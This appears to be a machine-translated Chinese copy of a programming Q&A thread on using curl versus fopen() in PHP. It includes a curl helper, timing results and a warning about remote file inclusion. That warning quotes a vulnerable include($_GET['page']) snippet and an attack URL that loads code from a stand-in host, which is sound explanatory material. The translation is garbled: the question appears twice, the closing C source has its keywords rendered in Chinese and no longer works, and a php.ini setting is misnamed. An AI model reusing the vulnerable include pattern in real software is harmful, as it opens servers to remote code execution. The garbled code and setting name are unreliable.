我正在编写一些需要通过 HTTP(s) 与 Web 服务通信的代码。过去我使用过 curl 库。最近,我注意到我可以简单地使用 fopen() 来访问远程 URL,而且看起来要简单得多。
Curl 似乎更具可配置性,有很多选项。除了可配置性之外,使用哪种方法是否重要?如果是这样,哪个更好,为什么?
我正在编写一些需要通过 HTTP(s) 与 Web 服务通信的代码。过去我使用过 curl 库。最近,我注意到我可以简单地使用 fopen() 来访问远程 URL,而且看起来要简单得多。
Curl 似乎更具可配置性,有很多选项。除了可配置性之外,使用哪种方法是否重要?如果是这样,哪个更好,为什么?
正如 Alnitak 所说,使用 CURL 不依赖于 PHP 设置。我做了一些速度测试
file_get_contents
和我的
function file_get_contents_curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
结果:
0.263456821442
0.0626730918884
CURL 快 4 倍 :)
fopen()
allow_fopen_url
如果在 中启用,则只会打开远程 URL php.ini
。
但是在 5.2.0 之前的版本中,这是非常危险的,因为该include
函数还会从远程站点下载和解析PHP 代码。一个天真的程序员很容易被以下代码发现:
<?php
$page = $_GET['page'];
include($page);
?>
此时,攻击者只需要求http://example.com/script.php?page=http://example.net/my_exploit_script
在系统上执行他们自己的代码并引入漏洞利用。不幸的是,默认值为allow_fopen_url
'on'。
幸运的是,从 5.2.0 开始,有一个单独的设置(应该默认为“关闭”)被称为allow_url_include
阻止include
下载远程代码。
就个人而言,如果您可以选择使用 Curl,请使用它而不是fopen
.
旁注:PHP 可以配置为使用 curl 作为 http url_wrapper 而不是使用“它自己的”实现。
分机/卷曲/interface.c:
#ifdef PHP_CURL_URL_WRAPPERS # 如果 HAVE_CURL_VERSION_INFO { curl_version_info_data *info = curl_version_info(CURLVERSION_NOW); char **p = (char **)info->protocols; 而 (*p != NULL) { php_register_url_stream_wrapper(*p++, &php_curl_wrapper TSRMLS_CC); } } # 别的 php_register_url_stream_wrapper("http", &php_curl_wrapper TSRMLS_CC); php_register_url_stream_wrapper("https", &php_curl_wrapper TSRMLS_CC); php_register_url_stream_wrapper("ftp", &php_curl_wrapper TSRMLS_CC); php_register_url_stream_wrapper("ldap", &php_curl_wrapper TSRMLS_CC); # 万一 #万一